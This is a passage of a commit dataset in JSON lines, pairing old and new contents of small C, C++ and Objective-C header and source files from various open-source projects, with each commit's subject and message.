mMessage;\n    ALCenum mErrorCode;\n\npublic:\n    backend_exception(ALCenum code, const char *msg, ...) ALEXCPT_FORMAT(printf, 3,4);\n\n    const char *what() const noexcept override { return mMessage.c_str(); }\n    ALCenum errorCode() const noexcept { return mErrorCode; }\n};\n\n} \/\/ namespace al\n\n#define START_API_FUNC try\n\n#define END_API_FUNC catch(...) { std::terminate(); }\n\n#endif \/* ALEXCPT_H *\/\n","subject":"Revert \"Silence some unreachable code warnings on MSVC\"","message":"Revert \"Silence some unreachable code warnings on MSVC\"\n\nThis reverts commit 2ab4883439b1bc96578e86cc894504b9a1d1021b.\n\nIt apparently didn't work at silencing anything.\n","lang":"C","license":"lgpl-2.1","repos":"aaronmjacobs\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"7faa28183f84df0fa245cab5b64447d05f71089b","old_file":"A\/01\/09\/task2.c","new_file":"A\/01\/09\/task2.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n#define MAX_WORDS 3000\n#define STOPPER \"vsmisal\"\n\nstruct occurance_t {\n    long hash;\n    unsigned int count;\n};\n\nlong hash(char*);\nint index_of(char*, struct occurance_t*, int);\n\nint main() {\n\n    int i = 0, temp;\n    char word[200];\n    \n    struct occurance_t most_common = { 0, 0 };\n    struct occurance_t words[MAX_WORDS] = { { 0, 0 } };\n    \n    while (1) {\n        \n        fgets(word, 201, stdin);\n        \n        if (strcmp(word, STOPPER) != 0 && i < MAX_WORDS) {\n            \n            if ((temp = index_of(word, words, i)) != -1) {\n                words[temp].count++;\n            } else {\n                words[i].hash = hash(word);\n                words[i].count = 1;\n                i++;\n            }\n            \n        } else {\n            break;\n        }\n    }\n\n    \n    temp = 0;\n    for (int j = 0; j < i; j++) {\n        \n        if (words[j].count > temp) {\n            temp = words[j].count;\n            most_common.hash = words[j].hash;\n            most_common.count = words[j].count;\n        }\n    }\n    \n    printf(\"%d %ld\", most_common.count, most_common.hash);\n\n    return 0;\n}\n\nlong hash(char *word) {\n    \n    long result = 42;\n    int length = strlen(word);\n    \n    for (int i = 0; i < length; i++) {\n        result += word[i] * (i + 1);\n    }\n    \n    return result;\n}\n\nint index_of(char *word, struct occurance_t *words, int length) {\n    \n    for (int i = 0; i < length; i++) {\n        if (hash(word) == words[i].hash) {\n            return i;\n        }\n    }\n    \n    return -1;\n}","subject":"Add Task 02 for Homework 01","message":"Add Task 02 for Homework 01\n","lang":"C","license":"mit","repos":"elsys\/po-homework"}
{"commit":"3ff88193bb6fc8cf84bb29499497f3fee73a124e","old_file":"BoxSDK\/BoxLog.h","new_file":"BoxSDK\/BoxLog.h","old_contents":"\/\/\n\/\/  BoxLog.h\n\/\/  BoxSDK\n\/\/\n\/\/  Created on 2\/21\/13.\n\/\/  Copyright (c) 2013 Box. All rights reserved.\n\/\/\n\n#ifndef BoxSDK_BoxLog_h\n#define BoxSDK_BoxLog_h\n\n#ifdef DEBUG\n#define BOXLogFunction()\t\tNSLog(@\"%s\", __FUNCTION__)\n#define BOXLog(...)\t\t\t\tNSLog(@\"%s: %@\", __FUNCTION__, [NSString stringWithFormat:__VA_ARGS__])\n#else\n#define BOXLogFunction(...)\n#define BOXLog(...)\n#endif\n\n#ifdef DEBUG\n#define BOXAssert(x, ...)\t\tNSAssert(x, @\"%s: %@\", __FUNCTION__, [NSString stringWithFormat:__VA_ARGS__])\n#define BOXCAssert(...)\t\tNSCAssert(__VA_ARGS__)\n#define BOXAssert1(...)\t\tNSAssert1(__VA_ARGS__)\n#define BOXAssertFail(...)\tBOXAssert(NO, __VA_ARGS__)\n#define BOXAbstract()\t\tBOXAssertFail(@\"Must be overridden by subclass.\")\n#else\n#define BOXAssert(...)\n#define BOXCAssert(...)\n#define BOXAssert1(...)\n#define BOXAssertFail(...)\n#define BOXAbstract()\n#endif\n\n#endif\n","new_contents":"\/\/\n\/\/  BoxLog.h\n\/\/  BoxSDK\n\/\/\n\/\/  Created on 2\/21\/13.\n\/\/  Copyright (c) 2013 Box. All rights reserved.\n\/\/\n\n#ifndef BoxSDK_BoxLog_h\n#define BoxSDK_BoxLog_h\n\n#ifdef DEBUG\n#define BOXLogFunction()        NSLog(@\"%s\", __FUNCTION__)\n#define BOXLog(...)             NSLog(@\"%s: %@\", __FUNCTION__, [NSString stringWithFormat:__VA_ARGS__])\n#else\n#define BOXLogFunction(...)\n#define BOXLog(...)\n#endif\n\n#ifdef DEBUG\n#define BOXAssert(x, ...)       NSAssert(x, @\"%s: %@\", __FUNCTION__, [NSString stringWithFormat:__VA_ARGS__])\n#define BOXCAssert(...)         NSCAssert(__VA_ARGS__)\n#define BOXAssert1(...)         NSAssert1(__VA_ARGS__)\n#define BOXAssertFail(...)      BOXAssert(NO, __VA_ARGS__)\n#define BOXAbstract()           BOXAssertFail(@\"Must be overridden by subclass.\")\n#else\n#define BOXAssert(...)\n#define BOXCAssert(...)\n#define BOXAssert1(...)\n#define BOXAssertFail(...)\n#define BOXAbstract()\n#endif\n\n#endif\n","subject":"Align macro definitions using spaces instead of tabs","message":"Align macro definitions using spaces instead of tabs\n","lang":"C","license":"apache-2.0","repos":"CleanShavenApps\/box-ios-sdk-v2,CleanShavenApps\/box-ios-sdk-v2,mirego\/box-ios-sdk-v2,flatworld\/box-ios-sdk-v2,mirego\/box-ios-sdk-v2,DocuSignDev\/box-ios-sdk-v2,Taptera\/deprecated-box-ios-sdk,doo\/box-ios-sdk-v2,CleanShavenApps\/box-ios-sdk-v2,DocuSignDev\/box-ios-sdk-v2,doo\/box-ios-sdk-v2,Taptera\/deprecated-box-ios-sdk,doo\/box-ios-sdk-v2,doo\/box-ios-sdk-v2,Taptera\/deprecated-box-ios-sdk,flatworld\/box-ios-sdk-v2,flatworld\/box-ios-sdk-v2,DocuSignDev\/box-ios-sdk-v2"}
{"commit":"d1a467438e03200735f80757a37c068b121d5610","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*!\n@file main.c\n@brief A simple test program for the C library code.\n*\/\n\n#include \"stdio.h\"\n\n#include \"verilog_parser.h\"\n\nint main(int argc, char ** argv)\n{\n    if(argc != 2)\n    {\n        printf(\"ERROR. Please supply exactly one file path argument.\\n\");\n        return 1;\n    }\n    else\n    {\n        \/\/ Load the file.\n        FILE * fh = fopen(argv[1], \"r\");\n        \n        \/\/ Instance the parser.\n        verilog_parser parser = verilog_file_parse(fh);\n\n        \/\/ Parse the file and store the result.\n        int result = verilog_parse_buffer(parser);\n\n        fclose(fh);\n        \n        if(result == 0)\n        {\n            printf(\"Parse successful\\n\");\n            return 0;\n        }\n        else\n        {\n            printf(\"Parse failed\\n\");\n            return 1;\n        }\n    }\n    return 0;\n}\n","new_contents":"\/*!\n@file main.c\n@brief A simple test program for the C library code.\n*\/\n\n#include \"stdio.h\"\n\n#include \"verilog_parser.h\"\n\nint main(int argc, char ** argv)\n{\n    if(argc < 2)\n    {\n        printf(\"ERROR. Please supply at least one file path argument.\\n\");\n        return 1;\n    }\n    else\n    {\n        int F = 0;\n\n        for(F = 1; F < argc; F++)\n        {\n            \/\/ Load the file.\n            FILE * fh = fopen(argv[F], \"r\");\n            \n            \/\/ Instance the parser.\n            verilog_parser parser = verilog_file_parse(fh);\n\n            \/\/ Parse the file and store the result.\n            int result = verilog_parse_buffer(parser);\n\n            verilog_free_parser(parser);\n            fclose(fh);\n            \n            if(result == 0)\n            {\n                printf(\"Parse successful for %s\\n\",argv[F]);\n            }\n            else\n            {\n                printf(\"Parse failed for %s\\n\",argv[F]);\n                return 1;\n            }\n        }\n    }\n    return 0;\n}\n","subject":"Allow test app to recieve as many file inputs as possible. On branch master Your branch is up-to-date with 'github\/master'.","message":"Allow test app to recieve as many file inputs as possible.\n On branch master\n Your branch is up-to-date with 'github\/master'.\n\n Changes to be committed:\n\tmodified:   ..\/src\/main.c\n","lang":"C","license":"mit","repos":"ben-marshall\/verilog-parser,ben-marshall\/verilog-parser,ben-marshall\/verilog-parser"}
{"commit":"1f1fbe3c6bcb79b2222e91c230e9442bc9c88f5b","old_file":"src\/prot.h","new_file":"src\/prot.h","old_contents":"#ifndef HEADER_H_\n#define HEADER_H_\n\n#include <stdint.h>\n#include <stddef.h>\n\n\/\/ * Header *\n\/\/\n\/\/ | 1 byte |\n\/\/ | 2 bytes ....... |\n\/\/ | 4 bytes ......................... |\n\/\/\n\/\/ |--------|--------|--------|--------|\n\/\/ | Flags           |Version |Padding |\n\/\/ |--------|--------|--------|--------|\n\/\/ | Frame size (incl header)          |\n\/\/ |-----------------------------------|\n\/\/ | CRC32                             |\n\/\/ |-----------------------------------|\n\/\/ End of header\n\/\/ |--------|--------|--------|--------|\n\/\/ | Payload                           |\n\/\/ | ...                               |\n\/\/ |--------|--------|--------|--------|\n\nstruct header {\n    uint16_t flags;\n    uint8_t  version;\n    uint8_t  pad; \/\/ not used\n    uint32_t size;\n    uint32_t crc32;\n};\n\n#define HEADER_FLAGS_EMPTY 0x00\n#define HEADER_FLAGS_READY 0xbeef  \/\/ marks that the header and payload\n                                   \/\/ is ready to be consumed\n\n#define HEADER_VERSION     0x0\n\n#define HEADER_PAD         0x0\n\n\nstruct frame {\n    const struct header* hdr;\n    const unsigned char* buffer;\n};\n\n\nvoid header_init(struct header*);\n\nsize_t frame_payload_size(const struct frame*);\n\n#endif\n","new_contents":"#ifndef PROT_H_\n#define PROT_H_\n\n#include <stdint.h>\n#include <stddef.h>\n\n\/\/ * Header *\n\/\/\n\/\/ | 1 byte |\n\/\/ | 2 bytes ....... |\n\/\/ | 4 bytes ......................... |\n\/\/\n\/\/ |--------|--------|--------|--------|\n\/\/ | Flags           |Version |Padding |\n\/\/ |--------|--------|--------|--------|\n\/\/ | Frame size (incl header)          |\n\/\/ |-----------------------------------|\n\/\/ | CRC32                             |\n\/\/ |-----------------------------------|\n\/\/ End of header\n\/\/ |--------|--------|--------|--------|\n\/\/ | Payload                           |\n\/\/ | ...                               |\n\/\/ |--------|--------|--------|--------|\n\nstruct header {\n    uint16_t flags;\n    uint8_t  version;\n    uint8_t  pad; \/\/ not used\n    uint32_t size;\n    uint32_t crc32;\n};\n\n#define HEADER_FLAGS_EMPTY 0x00\n#define HEADER_FLAGS_READY 0xbeef  \/\/ marks that the header and payload\n                                   \/\/ is ready to be consumed\n\n#define HEADER_VERSION     0x0\n\n#define HEADER_PAD         0x0\n\n\nstruct frame {\n    const struct header* hdr;\n    const unsigned char* buffer;\n};\n\n\nvoid header_init(struct header*);\n\nsize_t frame_payload_size(const struct frame*);\n\n#endif\n","subject":"Rename HEADER_H_ marco -> PROT_H_","message":"Rename HEADER_H_ marco -> PROT_H_\n\nThe header guard is not consistent with the filename.\n","lang":"C","license":"bsd-3-clause","repos":"rbruggem\/mqlog,rbruggem\/mqlog"}
{"commit":"4202400f14c6bd4239834c1c3774333c403ab0e9","old_file":"zephyr\/shim\/include\/bbram.h","new_file":"zephyr\/shim\/include\/bbram.h","old_contents":"","new_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef ZEPHYR_SHIM_INCLUDE_BBRAM_H_\n#define ZEPHYR_SHIM_INCLUDE_BBRAM_H_\n\n\/**\n * Layout of the battery-backed RAM region.\n * TODO (b:178807203) Migrate these values to devicetree registers.\n *\/\nenum bbram_data_index {\n\t\/** General-purpose scratchpad *\/\n\tBBRM_DATA_INDEX_SCRATCHPAD = 0,\n\t\/** Saved reset flags *\/\n\tBBRM_DATA_INDEX_SAVED_RESET_FLAGS = 4,\n\t\/** Wake reasons for hibernate *\/\n\tBBRM_DATA_INDEX_WAKE = 8,\n\t\/** USB-PD saved port0 state *\/\n\tBBRM_DATA_INDEX_PD0 = 12,\n\t\/** USB-PD saved port1 state *\/\n\tBBRM_DATA_INDEX_PD1 = 13,\n\t\/** Vboot EC try slot *\/\n\tBBRM_DATA_INDEX_TRY_SLOT = 14,\n\t\/** USB-PD saved port2 state *\/\n\tBBRM_DATA_INDEX_PD2 = 15,\n\t\/** VbNvContext for ARM arch *\/\n\tBBRM_DATA_INDEX_VBNVCNTXT = 16,\n\t\/** RAM log for Booter *\/\n\tBBRM_DATA_INDEX_RAMLOG = 32,\n\t\/** Flag to indicate validity of panic data starting at index 36. *\/\n\tBBRM_DATA_INDEX_PANIC_FLAGS = 35,\n\t\/** Panic data (index 35-63)*\/\n\tBBRM_DATA_INDEX_PANIC_BKUP = 36,\n\t\/** The start time of LCT(4 bytes) *\/\n\tBBRM_DATA_INDEX_LCT_TIME = 64,\n};\n\n#endif \/* ZEPHYR_SHIM_INCLUDE_BBRAM_H_ *\/\n","subject":"Add battery-backed RAM constants for npcx","message":"zephyr: Add battery-backed RAM constants for npcx\n\nBring in the battery-backed RAM layout for npcx. This change\nincludes a TODO to migrate these values to devicetree registers\nbut since system.c is on the critical path, this will be a good\nstep in the right direction.\n\nBRANCH=none\nBUG=b:176828988, b:174481378\nTEST=zmake testall\n\nSigned-off-by: Yuval Peress <50dc11c009bd4d7e9d9d15a383c1743ce5ee82ef@chromium.org>\nChange-Id: Ib84bf4f680c74a95a8549f57c30dab7fca3db42c\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/2659681\nCommit-Queue: Simon Glass <c00b0378376498bd9cd974c388df8854c0131d27@chromium.org>\nReviewed-by: Simon Glass <c00b0378376498bd9cd974c388df8854c0131d27@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"67649d563f3811b4aa5b09a63029c753f8c4d632","old_file":"include\/Sprite.h","new_file":"include\/Sprite.h","old_contents":"#ifndef _SPRITE_H_\n#define _SPRITE_H_\n\n#include <memory>\n\nnamespace canvas {\n  class Texture;\n};\n\n#include <glm\/glm.hpp>\n\nclass Sprite {\n public:\n  Sprite();\n  virtual ~Sprite();\n  \n  const std::shared_ptr<canvas::Texture> & getTexture() const { return texture; }\n  void setTexture(const std::shared_ptr<canvas::Texture> & _texture) { texture = _texture; }\n\n  const glm::vec2 & getPosition() const { return position; }\n  float getWidth() const { return width; }\n  float getHeight() const { return height; }\n\n  void setPosition(const glm::vec2 & _position) { position = _position; }\n  void setWidth(float _width) { width = _width; }\n  void setHeight(float _height) { height = _height; }\n\n protected:\n  glm::vec2 position;\n\n private:\n  float width = 0, height = 0;\n  std::shared_ptr<canvas::Texture> texture;\n};\n\n#endif\n","new_contents":"#ifndef _SPRITE_H_\n#define _SPRITE_H_\n\n#include <memory>\n#include <Texture.h>\n\n#include <glm\/glm.hpp>\n\nclass Sprite {\n public:\n  Sprite();\n  virtual ~Sprite();\n  \n  const std::shared_ptr<Texture> & getTexture() const { return texture; }\n  void setTexture(const std::shared_ptr<Texture> & _texture) { texture = _texture; }\n\n  const glm::vec2 & getPosition() const { return position; }\n  float getWidth() const { return width; }\n  float getHeight() const { return height; }\n\n  void setPosition(const glm::vec2 & _position) { position = _position; }\n  void setWidth(float _width) { width = _width; }\n  void setHeight(float _height) { height = _height; }\n\n protected:\n  glm::vec2 position;\n\n private:\n  float width = 0, height = 0;\n  std::shared_ptr<Texture> texture;\n};\n\n#endif\n","subject":"Change reference from removed canvas::texture","message":"Change reference from removed canvas::texture","lang":"C","license":"mit","repos":"Sometrik\/framework,Sometrik\/framework,Sometrik\/framework"}
{"commit":"13059383a02834a8932b1f465755f44446ab6f95","old_file":"include\/itkTextProgressBarCommand.h","new_file":"include\/itkTextProgressBarCommand.h","old_contents":"\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#ifndef itkTextProgressBarCommand_h\n#define itkTextProgressBarCommand_h\n\n#include \"itkCommand.h\"\n\n#include <string>\n\nnamespace itk\n{\n\n\/** \\class TextProgressBarCommand\n *\n * \\brief A simple command that outputs a text progress bar the associated filter.\n *\n * \\ingroup Ultrasound\n * *\/\nclass TextProgressBarCommand:\n  public Command\n{\npublic:\n  typedef TextProgressBarCommand Self;\n  typedef Command                Superclass;\n  typedef SmartPointer< Self >   Pointer;\n\n  itkNewMacro( Self );\n\nprotected:\n  TextProgressBarCommand();\n\n  void Execute(itk::Object *caller, const itk::EventObject & event) override;\n\n  void Execute(const itk::Object * object, const itk::EventObject & event) override;\n\n  std::string m_Progress;\n};\n\n} \/\/ end namespace itk\n\n#endif\n","new_contents":"\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#ifndef itkTextProgressBarCommand_h\n#define itkTextProgressBarCommand_h\n\n#include \"itkCommand.h\"\n\n#include \"UltrasoundExport.h\"\n\n#include <string>\n\nnamespace itk\n{\n\n\/** \\class TextProgressBarCommand\n *\n * \\brief A simple command that outputs a text progress bar the associated filter.\n *\n * \\ingroup Ultrasound\n * *\/\nclass Ultrasound_EXPORT TextProgressBarCommand:\n  public Command\n{\npublic:\n  typedef TextProgressBarCommand Self;\n  typedef Command                Superclass;\n  typedef SmartPointer< Self >   Pointer;\n\n  itkNewMacro( Self );\n\nprotected:\n  TextProgressBarCommand();\n\n  void Execute(itk::Object *caller, const itk::EventObject & event) override;\n\n  void Execute(const itk::Object * object, const itk::EventObject & event) override;\n\n  std::string m_Progress;\n};\n\n} \/\/ end namespace itk\n\n#endif\n","subject":"Add missing export specification for TextProgressBarCommand","message":"COMP: Add missing export specification for TextProgressBarCommand\n","lang":"C","license":"apache-2.0","repos":"thewtex\/ITKUltrasound,thewtex\/ITKUltrasound,KitwareMedical\/ITKUltrasound,thewtex\/ITKUltrasound,KitwareMedical\/ITKUltrasound,KitwareMedical\/ITKUltrasound"}
{"commit":"0c7983f5b6c3c2b33bdbc5cea4e1bf9a18a86ce2","old_file":"src\/Watermark\/View\/WatermarkDataRepository.h","new_file":"src\/Watermark\/View\/WatermarkDataRepository.h","old_contents":"\/\/ Copyright eeGeo Ltd (2012-2015), All Rights Reserved\n\n#pragma once\n\n#include \"IWatermarkDataRepository.h\"\n#include \"Watermark.h\"\n\n#include <map>\n#include <string>\n\nnamespace ExampleApp\n{\n    namespace Watermark\n    {\n        namespace View\n        {\n            class WatermarkDataRepository : public IWatermarkDataRepository\n            {\n            public:\n                void AddWatermarkData(const std::string& key,\n                                      const WatermarkData& watermarkData);\n                \n                void RemoveWatermarkDataWithKey(const std::string& key);\n                \n                bool HasWatermarkDataForKey(const std::string& key) const;\n                WatermarkData GetWatermarkDataWithKey(const std::string& key) const;\n                \n            private:\n                typedef std::map<std::string, WatermarkData> TWatermarkDataMap;\n                TWatermarkDataMap m_watermarkDataMap;\n            };\n        }\n    }\n}","new_contents":"\/\/ Copyright eeGeo Ltd (2012-2015), All Rights Reserved\n\n#pragma once\n\n#include \"IWatermarkDataRepository.h\"\n#include \"Watermark.h\"\n\n#include <map>\n#include <string>\n\nnamespace ExampleApp\n{\n    namespace Watermark\n    {\n        namespace View\n        {\n            class WatermarkDataRepository : public IWatermarkDataRepository\n            {\n            public:\n                void AddWatermarkData(const std::string& key,\n                                      const WatermarkData& watermarkData);\n                \n                void RemoveWatermarkDataWithKey(const std::string& key);\n                \n                bool HasWatermarkDataForKey(const std::string& key) const;\n                WatermarkData GetWatermarkDataWithKey(const std::string& key) const;\n                \n            private:\n                struct CaseInsensitiveCompare\n                {\n                    bool operator()(const std::string& l, const std::string& r) const\n                    {\n                        return std::lexicographical_compare(l.begin(), l.end(), r.begin(), r.end(),\n                                                            [](const char c1, const char c2)\n                                                            {\n                                                                return std::tolower(c1) < std::tolower(c2);\n                                                            });\n                    }\n                };\n\n                typedef std::map<std::string, WatermarkData, CaseInsensitiveCompare> TWatermarkDataMap;\n                TWatermarkDataMap m_watermarkDataMap;\n            };\n        }\n    }\n}","subject":"Fix MPLY-8362: check watermark building id case insensitively.","message":"Fix MPLY-8362: check watermark building id case insensitively.\n","lang":"C","license":"bsd-2-clause","repos":"eegeo\/eegeo-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,wrld3d\/wrld-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app"}
{"commit":"387a235ba330d8e5b3ccd64406dc7539405f0f86","old_file":"server\/src\/apache\/analyzer\/detail\/session_length.h","new_file":"server\/src\/apache\/analyzer\/detail\/session_length.h","old_contents":"\/*\n * Copyright 2016 Adam Chyła, adam@chyla.org\n * All rights reserved. Distributed under the terms of the MIT License.\n *\/\n\n#ifndef SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H\n#define SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H\n\nnamespace apache\n{\n\nnamespace analyzer\n{\n\nnamespace detail\n{\n\nconstexpr int SESSION_LENGTH = 3600;\n\n}\n\n}\n\n}\n\n#endif \/* SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H *\/\n","new_contents":"\/*\n * Copyright 2016 Adam Chyła, adam@chyla.org\n * All rights reserved. Distributed under the terms of the MIT License.\n *\/\n\n#ifndef SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H\n#define SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H\n\nnamespace apache\n{\n\nnamespace analyzer\n{\n\nnamespace detail\n{\n\nconstexpr int SESSION_LENGTH = 3 * 60;\n\n}\n\n}\n\n}\n\n#endif \/* SRC_APACHE_ANALYZER_DETAIL_SESSION_LENGTH_H *\/\n","subject":"Change session length to 3 minutes","message":"Change session length to 3 minutes\n","lang":"C","license":"mit","repos":"chyla\/slas,chyla\/slas,chyla\/pat-lms,chyla\/slas,chyla\/slas,chyla\/slas,chyla\/pat-lms,chyla\/pat-lms,chyla\/pat-lms,chyla\/pat-lms,chyla\/pat-lms,chyla\/pat-lms,chyla\/slas,chyla\/slas"}
{"commit":"e22b43421274a5ba38025d2f458b9adaf8389d11","old_file":"src\/methods.h","new_file":"src\/methods.h","old_contents":"char *get_id(void)\n","new_contents":"#ifndef AINOD_METHODS_H\n#define AINOD_METHODS_H\n\n\n\/** Invalid JSON was received by the server. **\/\n#define JSON_SCHEMA_ERROR_PARSE_ERROR -32700\n\n\/** The JSON sent is not a valid Request object. *\/\n#define JSON_SCHEMA_ERROR_INVALID_REQUEST -32600\n\n\/** The method does not exist \/ is not available. **\/\n#define JSON_SCHEMA_ERROR_METHOD_NOT_FOUND -32601\n\n\/** Invalid method parameter(s). *\/\n#define JSON_SCHEMA_ERROR_INVALID_PARAMS -32602\n\n\/** Internal JSON-RPC error. *\/\n#define JSON_SCHEMA_ERROR_INTERNAL_ERROR -32603\n\n\/** Reserved for implementation-defined server-errors. *\/\n#define JSON_SCHEMA_ERROR_SERVER_ERROR -32000\n\nchar *get_id(void);\nint process_buffer(char *buf);\n\n#endif \/* AINOD_METHODS_H *\/\n","subject":"Add Json schema error parse errors.","message":"Add Json schema error parse errors.\n","lang":"C","license":"lgpl-2.1","repos":"zeth\/ainod,zeth\/ainod,zeth\/ainod"}
{"commit":"562733680af382869d661ea15981a894f006da76","old_file":"Engine\/RXArchiveManager.h","new_file":"Engine\/RXArchiveManager.h","old_contents":"\/\/\n\/\/  RXArchiveManager.h\n\/\/  rivenx\n\/\/\n\/\/  Created by Jean-Francois Roy on 02\/02\/2008.\n\/\/  Copyright 2005-2010 MacStorm. All rights reserved.\n\/\/\n\n#import \"Base\/RXBase.h\"\n#import <MHKKit\/MHKKit.h>\n\n\n@interface RXArchiveManager : NSObject {\n    NSString* patches_directory;\n    MHKArchive* extras_archive;\n}\n\n+ (RXArchiveManager*)sharedArchiveManager;\n\n+ (NSPredicate*)anyArchiveFilenamePredicate;\n+ (NSPredicate*)dataArchiveFilenamePredicate;\n+ (NSPredicate*)soundsArchiveFilenamePredicate;\n+ (NSPredicate*)extrasArchiveFilenamePredicate;\n\n- (NSArray*)dataArchivesForStackKey:(NSString*)stack_key error:(NSError**)error;\n- (NSArray*)soundArchivesForStackKey:(NSString*)stack_key error:(NSError**)error;\n- (MHKArchive*)extrasArchive:(NSError**)error;\n\n@end\n","new_contents":"\/\/\n\/\/  RXArchiveManager.h\n\/\/  rivenx\n\/\/\n\/\/  Created by Jean-Francois Roy on 02\/02\/2008.\n\/\/  Copyright 2005-2010 MacStorm. All rights reserved.\n\/\/\n\n#import \"Base\/RXBase.h\"\n#import <MHKKit\/MHKKit.h>\n\n\n@interface RXArchiveManager : NSObject {\n    NSString* patches_directory;\n    MHKArchive* extras_archive;\n}\n\n+ (RXArchiveManager*)sharedArchiveManager;\n\n+ (NSPredicate*)anyArchiveFilenamePredicate;\n+ (NSPredicate*)dataArchiveFilenamePredicate;\n+ (NSPredicate*)soundsArchiveFilenamePredicate;\n+ (NSPredicate*)extrasArchiveFilenamePredicate;\n\n\/\/ NOTE: these methods return the archives sorted in the order they should be searched; code should always forward-iterate the returned array\n\n- (NSArray*)dataArchivesForStackKey:(NSString*)stack_key error:(NSError**)error;\n- (NSArray*)soundArchivesForStackKey:(NSString*)stack_key error:(NSError**)error;\n- (MHKArchive*)extrasArchive:(NSError**)error;\n\n@end\n","subject":"Add note about the order of archives returned by the archive manager.","message":"Add note about the order of archives returned by the archive manager.\n","lang":"C","license":"bsd-3-clause","repos":"jfroy\/rivenx,jfroy\/rivenx,jfroy\/rivenx,jfroy\/rivenx"}
{"commit":"7cd47486ac530cc991248d59d04260c0d297b05d","old_file":"HTMLKit\/CSSTypeSelector.h","new_file":"HTMLKit\/CSSTypeSelector.h","old_contents":"\/\/\n\/\/  CSSTypeSelector.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 13\/05\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"CSSSelector.h\"\n#import \"CSSSimpleSelector.h\"\n\n@interface CSSTypeSelector : CSSSelector <CSSSimpleSelector>\n\n@property (nonatomic, copy) NSString *type;\n\n+ (instancetype)universalSelector;\n\n- (instancetype)initWithType:(NSString *)type;\n\n@end\n","new_contents":"\/\/\n\/\/  CSSTypeSelector.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 13\/05\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"CSSSelector.h\"\n#import \"CSSSimpleSelector.h\"\n\n@interface CSSTypeSelector : CSSSelector <CSSSimpleSelector>\n\n@property (nonatomic, copy) NSString * _Nonnull type;\n\n+ (nullable instancetype)universalSelector;\n\n- (nullable instancetype)initWithType:(nonnull NSString *)type;\n\n@end\n","subject":"Add nullability specifiers to type selector","message":"Add nullability specifiers to type selector\n","lang":"C","license":"mit","repos":"iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit"}
{"commit":"59be11a20543d3d19d00ac9f57e703e98475852a","old_file":"Animation.h","new_file":"Animation.h","old_contents":"#ifndef ANIMATION_H\n#define ANIMATION_H\n\n#include <vector>\n\n#include \"Blittable.h\"\n\nnamespace hm\n{\n\tclass Animation\n\t{\n\t\tpublic:\n\t\t\tAnimation();\n\t\t\t~Animation();\n\n\t\t\tvoid add(const Blittable& b);\n\t\t\tvoid remove(const Blittable& b);\n\t\t\tvoid removeAll();\n\n\t\t\tvirtual void animate() = 0;\n\n\t\tprotected:\n\t\t\tstd::vector<Blittable*> targets;\n\t}\n}\n\n#endif\n","new_contents":"#ifndef ANIMATION_H\n#define ANIMATION_H\n\n#include <vector>\n\n#include \"Blittable.h\"\n#include \"Logger.h\"\n\nnamespace hm\n{\n\tclass Animation\n\t{\n\t\tpublic:\n\t\t\tAnimation();\n\t\t\t~Animation();\n\n\t\t\tvoid add(Blittable& b);\n\t\t\tvoid remove(Blittable& b);\n\t\t\tvoid removeAll();\n\n\t\t\tvirtual void animate() = 0;\n\n\t\tprotected:\n\t\t\tstd::vector<Blittable*> targets;\n\t};\n}\n\n#endif\n","subject":"Fix a couple of header issues.","message":"Fix a couple of header issues.\n","lang":"C","license":"lgpl-2.1","repos":"mdclyburn\/hume"}
